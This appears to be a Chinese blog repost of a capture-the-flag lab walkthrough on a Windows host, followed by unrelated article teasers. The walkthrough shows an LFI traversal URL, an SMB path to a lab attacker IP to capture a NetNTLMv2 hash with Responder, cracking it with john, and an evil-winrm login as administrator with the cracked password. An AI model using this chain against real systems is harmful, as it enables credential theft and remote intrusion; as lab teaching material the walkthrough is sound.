文件包含漏洞和hash破解

news2024/11/25 10:38:30
介绍

Windows是当今世界最主要的操作系统,因为它易于使用的GUI可访问性。大约85%的市场份额已成为攻击的关键操作系统。此外,大多数组织使用Active Directory来设置其Windows域网络。微软聘请NTLM(New Technology LAN Manager)和Kerberos提供认证服务。尽管存在已知漏洞,但即使在新系统上,NTLM 仍被广泛部署,以保持与传统客户端和服务器的兼容性。

本实验重点介绍如何利用在 Windows 计算机上提供的网页上的文件包含漏洞来收集运行 Web 服务器的用户的 NetNTLMv2 质询。我们将使用Responder调用实用程序来捕获 NetNTLMv2 哈希,稍后再使用john the ripper称为测试数百万个潜在密码,以查看它们是否与用于创建哈希的密码匹配。我们还将更深入地了解 NTLM 身份验证的工作流程以及响应程序实用程序如何应对这一挑战。我们认为,了解工具或框架的底层工作原理至关重要,因为它加强了一个人理解的基础,这有助于在现实世界中利用一个人可能面临的场景,这些场景乍一看似乎并不脆弱。让我们直接进入它。

列举
nmap -p- --min-rate 5000 -sV 10.129.186.174

我们将首先扫描主机以查找任何打开的端口,并使用Nmap扫描运行服务。我们将使用以下标志进行扫描:

在这里插入图片描述

在这里插入图片描述

Nmap 如何确定端口上运行的服务?

Nmap使用已知服务的端口服务数据库来确定服务在特定端口上运行。它稍后还会向该端口发送一些特定于服务的请求,以确定服务版本以及有关它的任何其他信息。因此,Nmap对特定端口的服务信息大多但并不总是正确的。

根据Nmap扫描的结果,该机器正在使用Windows作为其操作系统。两个端口检测到Apache web服务器在端口80上运行,WinRM在端口5985上运行。

Windows 远程管理(WinRM)是一种 Windows 本机内置远程管理协议,它基本上使用简单对象访问协议与远程计算机和服务器以及操作系统和应用程序进行交互。WinRM允许用户:

→与主机远程通信和交互

→在非本地但可通过网络访问的系统上远程执行命令。

→监控,从远程位置管理和配置服务器、操作系统和客户端计算机。

作为渗透测试程序,这意味着如果我们可以为具有远程管理权限的用户找到凭据(通常是用户名和密码),则可能会在主机上获得 PowerShell 外壳程序。

网站枚举

打开 Firefox 并输入http:// [目标 IP]时,浏览器会返回一条消息,指出找不到该站点。在URL栏中查找,它现在显示http://unika.htb。该网站已将浏览器重定向到新的URL,而我们的主机不知道如何找到unika.htb。此 Web 服务器使用基于名称的虚拟主机来为请求提供服务。

基于名称的虚拟主机是一种在单个服务器上托管多个域名(每个名称单独处理)的方法。这允许一台服务器共享其资源,例如内存和处理器周期,而无需所有服务由相同的主机名使用。

Web服务器根据该情况检查响应中提供的域名。HTTP 请求和发送的标头字段

/etc/hosts文件用于将主机名解析为IP地址,因此我们需要在此域的/etc/hosts文件中添加一个条目,以使浏览器能够解析unika.htb的地址。

echo "10.129.186.174         unika.htb" | tee -a /etc/hosts

在文件中添加此条目将使浏览器能够将主机名unika.htb解析为相应的 IP 地址 , 从而使浏览器将 HTTP 标头包含在浏览器发送到此IP地址的每个HTTP请求,这将使服务器响应unika.htb的网页。

在这里插入图片描述

在访问网页时,我们会看到一个网页设计业务登录页面。

在这里插入图片描述

检查网站,我们没有看到任何特别感兴趣的内容。虽然,我们注意到一个语言选择选项在导航栏上,并将选项更改为法语,将我们带到该网站的法语版本。

在这里插入图片描述

注意到URL,我们可以看到页面加载的参数,french.html页,如果未清理页面输入,则可能容易受到本地文件包含 (LFI) 漏洞的攻击。

文件包含漏洞

动态网站使用来自 HTTP 请求的信息动态包含 HTML 页面,以包括获取和发布参数、Cookie 和其他变量。一个页面通常会根据其中一些参数“包含”另一个页面。

当攻击者能够使网站包含不打算作为此应用程序选项的文件时,就会发生 LFI (本地文件包含)。一个常见示例是应用程序使用文件的路径作为输入。如果应用程序将此输入视为受信任,那么攻击者可以通过使用输入文件名中的…/字符进行攻击,并最终查看本地文件系统中的敏感文件。在某些有限的情况下,LFI可以导致代码执行。

RFI (远程文件包含)类似于 LFI,但在这种情况下,攻击者可以使用 HTTP、FTP 等协议在主机上加载远程文件,我们测试该参数,以查看是否可以在服务器响应中包含目标系统上的文件。我们将使用一些常见的已知文件进行测试,这些文件将在网络,Windows域和系统中具有相同的名称,可以在此处找到。渗透测试人员可能尝试在 Windows 计算机上访问以验证 LFI 的最常见文件之一的主机文件,WINDOWS\System32\drivers\etc\hosts(此文件有助于将主机名本地转换为 IP地址)。…/字符串用于遍历目录,一次一个。因此多个字符串是包含在 URL 中,以便服务器上的文件处理程序遍历回基目录,即 C:\。

http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts

在这里插入图片描述

太好了,LFI 是可能的,因为我们可以查看响应的内容。

在本例中,文件包含是可能的,因为在后端,PHP的include()方法是用于处理URL参数页面,以服务于不同语言的不同网页。由于没有对此页面参数进行适当的清理,我们能够传递恶意输入并因此查看内部系统文件。
PHP 中的include()方法是什么?

该include语句获取指定文件中存在的所有文本/代码/标记,并将其加载到内存,使其可供使用。例如:

File 1 --> vars.php
<?php
$color = 'green';
$fruit = 'apple';
?>
#############################################
File 2 --> test.php
<?php
echo "A $color $fruit"; // output = "A"
include 'vars.php';
echo "A $color $fruit"; // output = "A green apple"
?>
响应者挑战捕获

我们知道此网页容易受到文件包含漏洞的影响,并且正在 Windows 计算机上提供。因此,有可能在我们的攻击者工作站上包含文件。如果我们选择像SMB这样的协议,Windows将尝试对我们的机器进行身份验证,我们可以捕获NetNTLMv2。

什么是NTLM?

NTLM 是由微软创建的身份验证协议的集合。它是一种质询-响应身份验证协议,用于向活动目录(AD) 域上的资源验证客户机。

它是一种单点登录 (SSO),因为它允许用户在登录时仅提供一次基础身份验证因素。

1、NTLM 身份验证过程按以下方式完成:

2、客户端将用户名和域名发送到服务器。

3、服务器生成一个随机字符串,称为质询。

4、客户端使用用户密码的 NTLM 哈希对质询进行加密,并将其发送回服务器。

5、服务器检索用户密码(或等效密码)。服务器使用从安全帐户数据库中检索到的哈希值来加密质询字符串。然后将该值与从客户端接收的值进行比较。如果值匹配,则对客户端进行身份验证。

NTLM vs NTHash vs NetNTMLv2

围绕NTLM身份验证的术语很混乱,甚至专业人士也会不时滥用它,所以让我们定义一些关键术语:

哈希函数是一种单向函数,它接受任意数量的数据并返回固定大小的值。通常,结果称为哈希、摘要或指纹。它们用于更安全地存储密码,因为没有办法将哈希直接转换回原始数据(尽管存在试图从哈希中恢复密码的攻击,正如我们稍后将看到的那样)。因此,服务器可以存储我们的密码哈希值,当我们向站点提交密码时,它会对我们的输入进行哈希处理,并将结果与数据库中的哈希值进行比较,如果它们匹配,它就知道我们提供了正确的密码。

NTHash是用于在 SAM 数据库和域控制器中的 Windows 系统上存储密码的算法的输出。NTHash通常被称为NTLM哈希,甚至只是NTLM,这是非常误导/令人困惑的。

当 NTLM 协议想要通过网络进行身份验证时,它使用如上所述的质询/响应模型。NetNTLMv2 质询/响应是专门格式化为包含质询和响应的字符串。这通常称为 NetNTLMv2 哈希,但它实际上不是哈希。尽管如此,它通常被称为哈希,因为我们以相同的方式攻击它。我们将看到 NetNTLMv2 对象称为 NTLMv2,甚至令人困惑地称为 NTLM。

使用Responder

在 PHP 配置文件php.ini 中,“allow_url_include”包装器默认设置为“Off”,表示 PHP 不加载远程 HTTP 或 FTP URL 以防止远程文件包含攻击。但是,即使allow_url_include和allow_url_fopen设置为“关闭”,PHP 不会阻止加载 SMB URLs。在我们的例子中,我们可以滥用此功能来窃取 NTLM 哈希。

现在,使用此链接中的示例,我们可以尝试加载 SMB URL,在此过程中,我们可以使用 Responder 从目标捕获哈希。

Responder如何工作

响应程序可以执行许多不同类型的攻击,但对于此方案,它将设置恶意 SMB 服务器。当目标计算机尝试对该服务器执行 NTLM 身份验证时,响应程序会发回质询,以便服务器使用用户的密码进行加密。当服务器响应时,响应程序将使用质询和加密响应来生成 NetNTLMv2。虽然我们无法反转 NetNTLMv2,但我们可以尝试许多不同的常见密码,看看是否有任何密码生成相同的质询响应,如果我们找到一个,我们就知道这就是密码。这通常被称为哈希破解,我们将使用一个名为John The Ripper的程序来完成。

git clone https://github.com/lgandx/Responder

首先,如果计算机上尚未安装Responder程序实用程序,我们会将Responder程序存储库克隆到本地计算机。

在这里插入图片描述

验证Responder是否设置为侦听 SMB 请求。

cd Responder
cat Responder.conf

在这里插入图片描述

在这里插入图片描述

配置文件准备就绪后,我们可以继续使用python3启动响应程序,传入接口-I要使用标志侦听:

python3 Responder.py -I tun0

ifconfig,可以通过在终端中运行命令来检查网络接口。

在这里插入图片描述

在 Kali Linux 的情况下,响应程序默认作为系统实用程序安装,因此只需运行Responder命令程序 -I {network_interface}即可启动它。

如果出现有关无法在端口 80 上启动 TCP 服务器的错误,则是因为计算机上的其他服务已在使用该服务器。可以通过更改Responder.conf文件以关闭“要启动的服务器”部分下列出的“HTTP”条目。

响应程序文件的位置 -

-默认系统安装>:/usr/share/responder/Responder.conf

-> 用于 github 安装:/installation_directory/Responder.conf

将Responder.conf文件中“要启动的服务器”部分下的“HTTP”标志设置为“关闭”:

; Servers to start
SQL = On
SMB = On
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On

[**剪 断**]

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

响应程序服务器准备就绪后,我们通过设置来告诉服务器包括来自SMB服务器的资源页面参数如下所示。

http://unika.htb/?page=//10.10.16.25/somefile

在这种情况下,由于我们可以自由地指定 SMB 共享的地址,因此我们指定了我们本机机器的 IP 地址,10.10.16.15。现在,服务器尝试从我们的 SMB 服务器加载资源,响应程序捕获了足够的资源来获取 NetNTLMv2。

注意:请务必添加地址,因为某些浏览器可能会选择Google搜索而不是导航到相应的页面。

通过Web浏览器发送有效负载后,我们会收到有关无法加载所请求文件的错误。

在这里插入图片描述

但是在检查我们的侦听响应程序服务器时,我们可以看到我们有一个Administrator用户的 NetNTLMv。

在这里插入图片描述

NetNTLMv2 包括质询(随机文本)和加密响应。

哈希破解

我们可以将哈希转储到文件中,并尝试使用john破解它,这是一个密码哈希破解实用程序。

echo "Administrator::DESKTOP-H3OF232:1122334455667788:7E0A87A2CCB487AD9B76C7B0AEAEE133:0101000000000000005F3214B534D801F0E8BB688484C96C0000000002000800420044004F00320001001E00570049004E002D004E00480045003800440049003400410053004300510004003400570049004E002D004E0048004500380044004900340041005300430051002E00420044004F0032002E004C004F00430041004C0003001400420044004F0032002E004C004F00430041004C0005001400420044004F0032002E004C004F00430041004C0007000800005F3214B534D801060004000200000008003000300000000000000001000000002000000C2FAF941D04DCECC6A7691EA92630A77E073056DA8C3F356D47C324C6D6D16F0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320035000000000000000000" > hash.txt

在这里插入图片描述

我们将哈希文件传递给john,并破解管理员帐户的密码。哈希类型为由john命令行工具自动识别。

-w : 用于破解哈希的单词列表
john -w=/usr/share/wordlists/rockyou.txt hash.txt

在这里插入图片描述

将尝试给定密码列表中的每个密码,并使用该密码加密质询。如果结果与响应匹配,则它知道它找到了正确的密码。在这种情况下,管理员帐户的密码已成功破解。

password : badminton
WinRM
evil-winrm -i 10.129.231.129 -u administrator -p badminton

我们将连接到目标上的 WinRM 服务,并尝试获取会话。由于默认情况下,Linux 上未安装 PowerShell,因此我们将使用一个名为Evil-WinRM 的工具,该工具就是为这种情况而制作的。

在这里插入图片描述

我们可以在C:\Users\mike\Desktop\flag.txt下找到该标志。

C:\Users\mike\Desktop
cat flag.txt

在这里插入图片描述

ea81b7afddd03efaa0945333ed147fac

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1870.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Pico Neo3 4VR游戏下载地址及十大好玩游戏推荐

大家好&#xff0c;杰克今天为大家分享的是VR一体机游戏。 说到VR一体机&#xff0c;我们首先想到的一定是国产之光pico啦&#xff0c;picovr被认为是国内最被看好的VR一体机&#xff0c;有望在国内取代红极一时的OculusQuest&#xff0c;填补这块市场的空白。OculusQuest将6D…

#Primavera Unifier:关于零代码/低代码平台特点【2/3】

在之前对Unifier的介绍中&#xff0c;我提到了Unifier应用的一个非常关键的特征&#xff0c;及零代码快速配置使用&#xff0c;而为了更好的介绍Oracle Primavera Unifier 的零代码特点&#xff0c;以下我将通过3篇内容来逐一介绍零代码/低代码平台的特点。 前面介绍到了零代码…

Opencv项目实战:14 手势控制音量

目录 0、项目介绍 1、项目展示 2、项目搭建 3、项目的代码与讲解 4、项目资源 5、项目总结 0、项目介绍 本篇与上一篇有很多联系&#xff0c;大家可以看看这篇Opencv项目实战&#xff1a;13 手部追踪&#xff0c;我们将根据上一节的内容&#xff0c;进行一个拓展。本篇你…

AtCoder Beginner Contest 275 【E】【F】

E - Sugoroku 4 【概率dp】 题意&#xff1a; 对于每个样例&#xff0c;读入n&#xff0c;m&#xff0c;k。 一维数轴&#xff0c;你现在在0这个点上&#xff0c;目标是到达n这个点&#xff0c;你有k次掷骰子的机会&#xff0c;每次可能等概率的掷出1~m的任意一个数字&#xff…

面了一个4年经验的测试工程师,自动化都不会也要15k,我真是醉了...

在深圳这家金融公司也待了几年&#xff0c;被别人面试过也面试过别人&#xff0c;大大小小的事情也见识不少&#xff0c;今天又是团面的一天&#xff0c; 一百多个人都聚集在一起&#xff0c;因为公司最近在谈项目出来面试就2个人&#xff0c;无奈又被叫到面试房间。 整个过程…

.NET Core HttpReports 监控

HttpReports 基于.NET Core 开发的APM监控系统&#xff0c;使用MIT开源协议&#xff0c;主要功能包括&#xff0c;统计, 分析, 可视化&#xff0c; 监控&#xff0c;追踪等&#xff0c;适合在中小项目中使用。 语雀&#xff1a;https://www.yuque.com/httpreports/docs/uyaiil …

SQL注入之绕过is_numeric过滤

目录预备知识PHP常用的过滤类函数is_numeric()函数介绍实验目的实验环境实验步骤一通过源代码审计&#xff0c;发现临时文件实验步骤二通过分析源代码的执行逻辑&#xff0c;了解程序的功能&#xff0c;发现程序中的安全漏洞实验步骤三绕过过滤函数实现SQL注入预备知识 PHP常用…

Linux进程信号

文章目录什么是信号signal函数的功能&#xff08;捕捉信号后自己处理&#xff09;Core Dump&#xff08;核心转储&#xff09;kill&#xff0c;raise&#xff0c;alarm系统调用再度理解OS给进程发送信号信号集操作函数自定义捕捉详解什么是信号 生活中的信号&#xff1a;闹钟&…

0083 环形链表

package LinkedList_; /* * 单向环形链表应用场景——约瑟夫问题 * 设编号为1&#xff0c;2....n的n个人围成一圈&#xff0c;约定编号为k&#xff08;1<k<n&#xff09;的人从1开始报数&#xff0c;数到m的人出列&#xff0c; * 它的下一位又从…

黑胶歌曲没权限,还好我会Python,一分钟一个歌单,硬盘有点不够用了~

今日份Python白嫖人生苦短&#xff0c;我用Python一、你需要准备1、环境2、模块二、效果展示三、代码展示四、写在最后人生苦短&#xff0c;我用Python 人之初&#xff0c;喜白嫖。大家都喜欢白嫖&#xff0c;我也喜欢&#xff0c;那么今天就来试试怎么白嫖抑云~ 我不是&#…

React面向组件编程(定义组件,组件三大核心属性,组件事件处理、组件收集表单数据、高阶函数和函数的柯里化)

目录 一、React中定义组件 1、函数式组件 2、类式组件 二、组件三大核心属性 1、组件三大核心属性1: State(状态) 2、组件三大核心属性2: props 3、组件三大核心属性3: ref 三、组件事件处理 1、事件处理 四、组件收集表单数据 1、受控组件 2、非受控组件 五、高阶函…

【数据结构】算法的时间复杂度和空间复杂度

&#x1f680; 作者简介&#xff1a;一名在后端领域学习&#xff0c;并渴望能够学有所成的追梦人。 &#x1f40c; 个人主页&#xff1a;蜗牛牛啊 &#x1f525; 系列专栏&#xff1a;&#x1f6f9;初出茅庐C语言、&#x1f6f4;数据结构 ☀️ 学习格言&#xff1a;眼泪终究流不…

象棋中的马跳步问题

象棋中的马跳步问题 作者&#xff1a;Grey 原文地址&#xff1a; 博客园&#xff1a;象棋中的马跳步问题 CSDN&#xff1a;象棋中的马跳步问题 题目描述 中国象棋中&#xff0c;整个棋盘就是横坐标上 9 条线、纵坐标上 10 条线的一个区域&#xff0c;给你三个 参数 x&…

计算机毕业设计springboot+vue基本微信小程序的汽车租赁公司小程序

项目介绍 随着信息技术和网络技术的飞速发展&#xff0c;人类已进入全新信息化时代&#xff0c;传统管理技术已无法高效&#xff0c;便捷地管理信息。为了迎合时代需求&#xff0c;优化管理效率&#xff0c;各种各样的管理系统应运而生&#xff0c;各行各业相继进入信息管理时…

【Vue】环境搭建

Vue 简介&#xff1a; 一套用于构建用户界面的渐进式框架。与其它大型框架不同的是&#xff0c;Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层&#xff0c;不仅易于上手&#xff0c;还便于与第三方库或既有项目整合。另一方面&#xff0c;当与现代化的工具链以…

Jenkins+Docker 一键自动化部署 SpringBoot 项目

本文章实现最简单全面的 Jenkins Docker Spring Boot 一键自动部署项目。步骤齐全&#xff0c;少走坑路。 环境&#xff1a;CentOS7 Git (Gitee) 实现步骤&#xff1a;在 Docker 安装 Jenkins&#xff0c;配置 Jenkins 基本信息&#xff0c;利用 Dockerfile 和 Shell 脚本实…

CSS 的布局 盒子

目录 块级元素和行内元素 块级元素 特点&#xff1a; 行内元素 特点&#xff1a; 行内元素 和 块级元素 的区别 改变显示模式&#xff08;把行内元素 变成 块级元素) 盒模型 盒模型图 边框基础属性 内边框、外边框 基础写法&#xff1a; 复合写法 块级元素水平居中 前提&#…

C++知识点大全(第二版)

目录 1 C简介 1.1 起源 1.2 应用范围 1.3 C和C 2开发工具 3 基本语法 3.1 注释 3.2关键字 3.3标识符 4 数据类型 4.1基本数据类型 4.2 数据类型在不同系统中所占空间大小 4.3 typedef声明 4.4 枚举类型 5 变量 5.1 变量的声明和定义 5.2 变量的作用域 6 运算…

如何当好硬软件助理工程师——实习周报(一)

如何当好硬软件助理工程师——实习周报 如何当好硬软件助理工程师——实习周报&#xff08;一&#xff09; 文章目录如何当好硬软件助理工程师——实习周报前言一、问题积累1.git 指令2.Coding的使用3.代码中的知识点&#xff08;HAL库、Flash读写&#xff09;a.gpio配置b.fla…

程序员必备的画图工具汇总

文章目录1、简介2、draw.io3、Excalidraw4、Xmind5、语雀6、Database6.1 dbdiagram.io6.2 sqldbm6.3 QuickDBD7、UML7.1 plantuml7.2 Graphviz结语1、简介 优秀的作图工具有许多&#xff0c;例如文本绘图工具 PlantUML&#xff0c;流程图设计工具 Draw.io&#xff0c;还有专业…